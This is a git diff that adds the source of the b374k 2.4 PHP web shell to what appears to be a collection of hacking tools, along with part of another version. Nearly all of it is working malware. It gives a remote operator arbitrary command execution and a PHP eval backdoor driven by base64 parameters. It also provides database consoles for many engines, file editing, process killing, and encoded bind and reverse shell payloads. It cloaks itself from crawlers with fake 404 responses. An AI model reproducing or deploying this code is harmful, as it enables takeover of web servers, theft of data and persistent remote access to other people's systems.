"; + if($con) mssql_close($con); + } + elseif(isset($_REQUEST['sqlsrv']) && ($con = sqlsrv_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = sqlsrv_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + while($rows=sqlsrv_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT name FROM master..sysdatabases;"; + + $s_result .= str_replace("__sqltype__","sqlsrv",str_replace("__sqlcode__", $sqls, $sqlform_tpl)); + $s_result .= "
".$q_result."
"; + if($con) sqlsrv_close($con); + } + elseif(isset($_REQUEST['oracle']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $st = oci_parse($con, $query); + if(oci_execute($st)){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=1;$i<=oci_num_fields($st);$i++) + $q_result .= ""; + + $q_result .= ""; + + while($rows=oci_fetch_array($st)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars(oci_field_name($st,$i))."
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME;"; + + $s_result .= str_replace("__sqltype__","oracle",str_replace("__sqlcode__", $sqls, $sqlform_tpl)); + $s_result .= "
".$q_result."
"; + if($con) oci_close($con); + } + elseif(isset($_REQUEST['pgsql']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = pg_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + + while($rows=pg_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT schema_name FROM information_schema.schemata;"; + + $s_result .= str_replace("__sqltype__","pgsql",str_replace("__sqlcode__", $sqls, $sqlform_tpl)); + $s_result .= "
".$q_result."
"; + if($con) pg_close($con); + } + elseif(isset($_REQUEST['sqlite']) && ($con = sqlite_open($sqlite_file))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = sqlite_query($con, $query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + + while($rows=sqlite_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT name FROM sqlite_master WHERE type='table';"; + + $s_result .= "
+ + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) sqlite_close($con); + } + elseif(isset($_REQUEST['sqlite3']) && ($con = new SQLite3($sqlite_file))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = $con->query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i<$hasil->numColumns();$i++) + $q_result .= ""; + $q_result .= ""; + + while($rows=$hasil->fetchArray()){ + $q_result .= ""; + for($j=0;$j<$hasil->numColumns();$j++) + { + if($rows[$j] == "") $dataz = " "; + else $dataz = $rows[$j]; + $q_result .= ""; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars($hasil->columnName($i))."
".htmlspecialchars($dataz)."
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT name FROM sqlite_master WHERE type='table';"; + + $s_result .= "
+ + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) $con->close(); + } + elseif(isset($_REQUEST['odbc']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = odbc_exec($con, $query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=1;$i<=odbc_num_fields($hasil);$i++) + $q_result .= ""; + $q_result .= ""; + + while($rows=odbc_fetch_array($hasil)){ + $q_result .= ""; + foreach($rows as $r) + { + if($r == "") $dataz = " "; + else $dataz = $r; + $q_result .= ""; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars(odbc_field_name($hasil,$i))."
".htmlspecialchars($dataz)."
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = ""; + + $s_result .= "
+ + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + if($con) odbc_close($con); + } + elseif(isset($_REQUEST['pdo'])){ + // create object + $mypdo = new PDO($pdodsn,$pdouser,$pdopass); + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + + if($hasil = $mypdo->query($query)){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + // workaround to get column name + $r = $hasil->fetch(2); + $savefirstrow = array(); + foreach($r as $fn=>$fv){ + $q_result .= ""; + $savefirstrow[] = $fv; + } + $q_result .= ""; + foreach($savefirstrow as $fv){ + $q_result .= ""; + } + $q_result .= ""; + while($rows = $hasil->fetch(2)){ + $q_result .= ""; + foreach($rows as $r) + { + if($r == "") $dataz = " "; + else $dataz = $r; + $q_result .= ""; + } + $q_result .= ""; + } + $q_result .= "
".htmlspecialchars($fn)."
".htmlspecialchars($fv)."
".htmlspecialchars($dataz)."
"; + } + else{ + + $q_result .= "

".$query.";    + [ error ]

"; + } + $q_result .= ""; + } + } + } + else $sqls = ""; + + $s_result .= "
+ + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + $s_result .= "
".$q_result."
"; + } + else{ + // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo + $sqllist = array(); + if(function_exists("mysql_connect")) $sqllist["mysql"] = "connect to MySQL - using mysql_*"; + if(function_exists("mssql_connect")) $sqllist["mssql"] = "connect to MsSQL - using mssql_*"; + if(function_exists("sqlsrv_connect")) $sqllist["sqlsrv"] = "connect to MsSQL - using sqlsrv_*"; + if(function_exists("pg_connect")) $sqllist["pgsql"] = "connect to PostgreSQL - using pg_*"; + if(function_exists("oci_connect")) $sqllist["oracle"] = "connect to oracle - using oci_*"; + if(function_exists("sqlite_open")) $sqllist["sqlite"] = "connect to SQLite - using sqlite_*"; + if(class_exists("SQLite3")) $sqllist["sqlite3"] = "connect to SQLite3 - using class SQLite3"; + if(function_exists("odbc_connect")) $sqllist["odbc"] = "connect via ODBC - using odbc_*"; + if(class_exists("PDO")) $sqllist["pdo"] = "connect via PDO - using class PDO"; + + foreach($sqllist as $sqltype=>$sqltitle){ + if($sqltype=="odbc"){ + $s_result .= "

".$sqltitle."

+
+ + + + +
DSN / Connection String
Username
Password
+ + +
+
"; + } + elseif($sqltype=="pdo"){ + $s_result .= "

".$sqltitle."

+
+ + + + +
DSN / Connection String
Username
Password
+ + +
+
"; + } + elseif($sqltype=="sqlite" || $sqltype=="sqlite3"){ + $s_result .= "

".$sqltitle."

+
+ + +
DB File
+ + +
+
"; + } + else{ + $s_result .= "

".$sqltitle."

+
+ + + + + +
Host
Username
Password
Port (optional)
+ +
+
"; + } + } + + } + } // bind and reverse shell + elseif(isset($_REQUEST['rs'])){ + // access to compiler/interpreter + $s_python = check_access("python"); + $s_perl = check_access("perl"); + $s_ruby = check_access("ruby"); + $s_gcc = check_access("gcc"); + $s_java = check_access("java"); + //$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + //$s_my_ip = $_SERVER['REMOTE_ADDR']; + $rshost = $s_server_ip; + + $rsport = "13123"; + // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win + $rspesana = "Press ' Go ! ' button and run ' nc server_ip port ' on your computer"; + $rspesanb = "Run ' nc -l -v -p port ' on your computer and press ' Go ! ' button"; + + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php + $rsbind = array(); + $rsback = array(); + + + $rsbind["bind_php"] = "Bind Shell - php"; + $rsback["back_php"] = "Reverse Shell - php"; + + if($s_perl){ + $rsbind["bind_pl"] = "Bind Shell - perl"; + $rsback["back_pl"] = "Reverse Shell - perl"; + } + if($s_python){ + $rsbind["bind_py"] = "Bind Shell - python"; + $rsback["back_py"] = "Reverse Shell - python"; + } + if($s_ruby){ + $rsbind["bind_rb"] = "Bind Shell - ruby"; + $rsback["back_rb"] = "Reverse Shell - ruby"; + } + if($s_win){ + $rsbind["bind_win"] = "Bind Shell - windows executable"; + $rsback["back_win"] = "Reverse Shell - windows executable"; + } + else{ + $rsbind["bind_c"] = "Bind Shell - c"; + $rsback["back_c"] = "Reverse Shell - c"; + } + + $rslist = array_merge($rsbind,$rsback); + + if(!is_writable($cwd)) $s_result .= "

Directory ".$cwd." is not writable, please change to a writable one

"; + $rs_err = ""; + foreach($rslist as $rstype=>$rstitle){ + $split = explode("_",$rstype); + if($split[0]=="bind"){ + $rspesan = $rspesana; + $rsdisabled = "disabled=\"disabled\""; + $rstarget = $s_server_ip; + $labelip = "Server IP"; + } + elseif($split[0]=="back"){ + $rspesan = $rspesanb; + $rsdisabled = ""; + $rstarget = $s_my_ip; + $labelip = "Target IP"; + } + if(isset($_REQUEST[$rstype])){ + if(isset($_REQUEST["rshost_".$rstype])) $rshost_ = ss($_REQUEST["rshost_".$rstype]); + if(isset($_REQUEST["rsport_".$rstype])) $rsport_ = ss($_REQUEST["rsport_".$rstype]); + + if($split[0]=="bind") $rstarget_packed = $rsport_; + elseif($split[0]=="back") $rstarget_packed = $rsport_." ".$rshost_; + + if($split[1]=="pl") $rscode = $rs_pl; + elseif($split[1]=="py") $rscode = $rs_py; + elseif($split[1]=="rb") $rscode = $rs_rb; + elseif($split[1]=="c") $rscode = $rs_c; + elseif($split[1]=="win") $rscode = $rs_win; + elseif($split[1]=="php") $rscode = $rs_php;; + $buff = rs($rstype,$rstarget_packed,$rscode); + if($buff!="") $rs_err = "

".htmlspecialchars($buff)."

"; + } + $s_result .= "

".$rstitle."

+
+ + + +
".$labelip."
Port
+ +   ".$rspesan." + +
+
"; + } + $s_result = $rs_err.$s_result; + } // view file + elseif(isset($_REQUEST['view'])){ + $f = ss($_REQUEST['view']); + if(isset($fnew) && (trim($fnew)!="")) $f = $fnew; + $owner = ""; + if(is_file($f)){ + if(!$s_win && $s_posix){ + $name = posix_getpwuid(fileowner($f)); + $group = posix_getgrgid(filegroup($f)); + $owner = "Owner".$name['name']." : ".$group['name'].""; + } + $filn = basename($f); + $dlfile = get_archiver_available(); + $dlfile = str_replace("__dlpath__",$filn,$dlfile); + $dlfile = str_replace("__dlcwd__",$cwd,$dlfile); + $s_result .= " + + + + ".$owner." + + + + + +
Filename".$f." +
+ + + + +
+
Size".gs($f)."
Permission".gp($f)."
Create time".date("d-M-Y H:i",filectime($f))."
Last modified".date("d-M-Y H:i",filemtime($f))."
Last accessed".date("d-M-Y H:i",fileatime($f))."
Actions + edit | + rename | + delete ".$dlfile." +
View + text | + code | + image
+ "; + $t = ""; + $iinfo = @getimagesize($f); + if(substr($filn,-3,3) == "php") $t = "code"; + if(is_array($iinfo)) $t = 'image'; + + if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']); + + if($t=="image"){ + $width = (int) $iinfo[0]; + $height = (int) $iinfo[1]; + $imginfo = "Image type = ( ".$iinfo['mime']." )
+ Image Size = ( ".$width." x ".$height." )
"; + if($width > 800){ + $width = 800; + $imglink = "

+ [ view full size ]

"; + } + else $imglink = ""; + + $s_result .= "
".$imglink." + \"\"
"; + + } + elseif($t=="code"){ + $s_result .= "
"; + $file = wordwrap(file_get_contents($f),160,"\n",true); + $buff = highlight_string($file,true); + $old = array("0000BB","000000","FF8000","DD0000", "007700"); + $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000"); + $buff = str_replace($old,$new, $buff); + $s_result .= $buff; + $s_result .= "
"; + } + else { + $s_result .= "
";
+				$s_result .=  str_replace("<","<",str_replace(">",">",(wordwrap(file_get_contents($f),160,"\n",true))));
+				$s_result .=   "
"; + } + } + elseif(is_dir($f)){ + chdir($f); + $cwd = cp(getcwd()); + $s_result .= showdir($cwd); + } + + } // edit file + elseif(isset($_REQUEST['edit'])){ + $f = ss($_REQUEST['edit']); + $fc = ""; + $fcs = ""; + + if(is_file($f)) $fc = file_get_contents($f); + if(isset($_REQUEST['fcsubmit'])){ + $fc = ssc($_REQUEST['fc']); + if($filez = fopen($f,"w")){ + $time = date("d-M-Y H:i",time()); + if(fwrite($filez,$fc)!==false) $fcs = "file saved @ ".$time; + else $fcs = "failed to save"; + fclose($filez); + } + else $fcs = "permission denied"; + } + $s_result .= "
+ +

+

+   ".$fcs."

+ +
+ "; + + } // task manager + elseif(isset($_REQUEST['ps'])){ + $buff = ""; + // kill process specified by pid + if(isset($_REQUEST['pid'])){ + $p = ss($_REQUEST['pid']); + if(function_exists("posix_kill")) $buff = (posix_kill($p,'9'))? "Process with pid ".$p." has been successfully killed":"Unable to kill process with pid ".$p; + else{ + if(!$s_win) $buff = exe("kill -9 ".$p); + else $buff = exe("taskkill /F /PID ".$p); + } + } + + if(!$s_win) $h = "ps aux"; + else $h = "tasklist /V /FO csv"; + $wcount = 11; + $wexplode = " "; + if($s_win) $wexplode = "\",\""; + + + $res = exe($h); + if(trim($res)=='') $s_result = "

Error getting process list

"; + else{ + if($buff!="") $s_result = "

".$buff."

"; + $s_result .= ""; + if(!$s_win) $res = preg_replace('#\ +#',' ',$res); + + $psarr = explode("\n",$res); + $fi = true; + $tblcount = 0; + + $check = explode($wexplode,$psarr[0]); + $wcount = count($check); + + foreach($psarr as $psa){ + if(trim($psa)!=''){ + if($fi){ + $fi = false; + $psln = explode($wexplode,$psa,$wcount); + $s_result .= ""; + foreach($psln as $p){ + $s_result .= ""; + } + $s_result .= ""; + } + else{ + $psln = explode($wexplode,$psa,$wcount); + $s_result .= ""; + $tblcount = 0; + foreach($psln as $p){ + if(trim($p)=="") $p = " "; + if($tblcount == 0){ + $s_result .= " + "; + $tblcount++; + } + else{ + $tblcount++; + if($tblcount == count($psln)) $s_result .= ""; + else $s_result .= ""; + } + } + $s_result .= ""; + } + } + } + $s_result .= "
action".trim(trim(strtolower($p)),"\"")."
kill".trim(trim($p),"\"")."".trim(trim($p), "\"")."".trim(trim($p), "\"")."
"; + } + } + else{ + if(isset($_REQUEST['cmd'])){ + $cmd = ss($_REQUEST['cmd']); + if(strlen($cmd) > 0){ + if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){ + $nd = trim($r[2]); + if(is_dir($nd)){ + chdir($nd); + $cwd = cp(getcwd()); + $s_result .= showdir($cwd); + } + elseif(is_dir($cwd.$nd)){ + chdir($cwd.$nd); + $cwd = cp(getcwd()); + $s_result .= showdir($cwd); + } + else $s_result .= "
".$nd." is not a directory"."
"; + } + else{ + $s_r = htmlspecialchars(exe($cmd)); + if($s_r != '') $s_result .= "
".$s_r."
"; + else $s_result .= showdir($cwd); + } + } + else $s_result .= showdir($cwd); + } + else{ + if(!empty($dirmsg)) $s_result .= "

".$dirmsg."

"; + $s_result .= showdir($cwd); + } + } + + // print useful info + $s_info = ""; + $s_info .= ""; + $s_info .= " + +
".$s_system."
".$s_software."
server ip : ".$s_server_ip." | your ip : ".$s_my_ip; + $s_info .= " | Time @ Server : ".date("d M Y H:i:s",time()); + $s_info .= " +
+ + + +
".trim($letters)." + +   + \"Change\" +   ".swd($cwd)." +
+ +   + \"Change\" +    + + + + + +
+
+
"; +} +?> + + +<?php echo $s_title; ?> + +"> + + + + + + +
+
+ +
+
+ +
+
+
+
+ +
+ +   + +
+
+ + +
+ + + \ No newline at end of file diff --git a/php/b374k/source/b374k-2.4.php b/php/b374k/source/b374k-2.4.php new file mode 100644 index 0000000..536ffed --- /dev/null +++ b/php/b374k/source/b374k-2.4.php @@ -0,0 +1,2273 @@ +0){ + if(isset($_COOKIE['b374k'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $login = strtolower(md5(trim($_REQUEST['login']))); + if(strtolower(trim($s_pass)) == $login){ + setcookie("b374k",$login,time() + $s_login_time); + $s_auth = true; + } + } + if(isset($_REQUEST['logout'])){ + $reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; + foreach($_COOKIE as $k=>$v){ + setcookie($k,"",time() - $s_login_time); + } + $s_auth = false; + if(!empty($reload)) header("Location: ".$reload); + } +} +else $s_auth = true; + +// This is a feature where you can control this script from another apps/scripts +// you need to supply password (in md5 format) to access this +// this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43) +// give the code/command you want to execute in base64 format +// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=) +// example : +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE= +// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==) +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw== +// recommended ways is using POST DATA +// note that it will not works if shell password is empty ($s_pass); +// better see code below +if(!empty($_REQUEST['s_pass'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ + if(isset($_REQUEST['cmd'])){ + $cmd = base64_decode($_REQUEST['cmd']); + echo exe($cmd); + } + elseif(isset($_REQUEST['eval'])){ + $code = base64_decode($_REQUEST['eval']); + ob_start(); + eval($code); + $res = ob_get_contents(); + ob_end_clean(); + echo $res; + } + else echo $s_title; + } + die(); +} + +// block search engine bot +if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} +elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} + +// resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php this was used with bind and reverse shell +// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P +$rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; +$rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; +$rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; +$rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; +$rs_win = "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfbae/+x9zphG9UACgAAtJZhGAAqga9EBf57kmnZwLraALiud9+mEhF63yZqK1cCisTCBDGDD7IYAoEQApkcUCwVgFwBGBAeCfKFbI4zgaBvO5ODHggAoQgUYE+zCPtP3h6AiMIhkN4AqFVIWhYBgHrfzISFM9VN48ivdSNm6v+NSmdivpq1BM7opN9x0h8Xoc1HQQD/47SWHu3624foDwUh/7a/PVo/t/8s47f1z/q7H/Wrn/vviyuc8SH/za/Bw9nVa3pyG4IeUp9qnPRJj3lrQx4bAMQGWg/tqdgigPDWOBheq3gnH8AWjTCoQBvcE68m9g5W1BMiSZ4taFu64aw+BGBINqgZTKpBY/R4aIO9qsCRFu2cigD+EH/KllQEutq2YNFoOsYDqNWUP9A1wc8f08W6kS4VYYcT4VfknAbpSsJ1pbGtu4KExznKe1+MZ9SMYAibzW4qfRTo5V++bBxAF62KANMUTXNvKywmJqphA0MLpWXPle9CFir9Sfay/MBq3j0j16tCa3d6vxAGVNACAJ5iDVebViN/go2fMMYAC7Xq+oJ3u8juL6wRLt3CinGyMhBbj/A9YNiQtNRXpSs+MWT5alWNh6X9cmyNSRec/kQ+iSBmw4TZxJwLGLeGT7UvvshvkzfFNKJph6ENvkd1zX0PTX2pei19o7nhq4O9AgX6WhrdX19jqUagIUkkVEq+NSTAqBLL2iv7Yc3pKygz1wm3zv5tRF8cZmlqzZoD2QLQVO3Xv5nV4Yh1aV7n0nmAkNjvH4ZQtnra2WDEDHMc7u41azE2p1OqL+7/og4zHTeFNENqYH/Zz5avjYkBSoIjkNMGuV0GqFbNV1JtI+C50QSqn6Fjre9zn7ez9ezcb7Y1VY4/fDn1WfPPcPz69esiK/fO2rXM69cdyU/GTN0DD1tLaoSKRlVBcn4VZpm/4vWHiyfiJa9bcoxIBL00tEdiqvN8GXpzkIKck+9n9nqH3DduLyKDXBTwitSlaI7fPzoYBurU+bjSVDl9n0uWPnA2Pdygh1/khxow81u0HEnc3xtDBjAiXbNeEh67alfbUcaqAL9whURCHMy5Phg/qDFtuD24G/Kqz+gYzCke7EUr16vv19YS+1YAs1OV/PIFXfEtHiuIFc2Poq99021Bibd8qdw4NBZ/7uXGFy1Pl+anH7XAc5Hn9V3mpCViltqOrEYeLOgruNToPnGfOa64UYq9SsS5xxEzXVXc1kr741dj3ysoQsdt7zqMhrCN/Y+NSHb3DD2Hfl2wSRTc5dnowBe+Hj6uVEWpbtBLrSY+XNh8L3DOF3hP/Up9ZQRe6a5o+VCMaH0Tg70ycBJ95/JZzzTTuc2FhnDgkQPvX+yNOtIahR7mJalD//nlXHqxxjCNX1ll/m07Ym1B4JNoaRelt6kM2dPLRSMMA7xw5+53VO1wvDRaMnE2NXngUYhivDmbsHMzZrD6LDeP088aSrb+51nzYi5/WINhF//AzRsBBpxP28Zeo5lcRlsetr2UttsruMkWRFmYYhal2rDVJASm/h/bN+pG2VNMZyMLCgSnPPWw/c9DiJsPvazvTOpvIao4Y5u2xLY1rhq1bKrlm/D2dNTZnx7+8P2B3isjazfvFPoBxNLd+49NGRYHN50cPZ7dtoRNcoUuHTMYJyRCJIPbskoq25eSUj4See38sCvgCLSC8nx7W5BmkN0I2c1DUp7FqUlwZK6uK5VgNO+YxfVH54Yd50N7lwbk32wPdokuo5xbrP/ldT9nuL90IblFRwzUN4FwCfWBBrEi14pY3tS7D64dyRjK7oRCiuZn7qZ+h1VtQciWjQjrP8+Vmmh0svc4+eeiK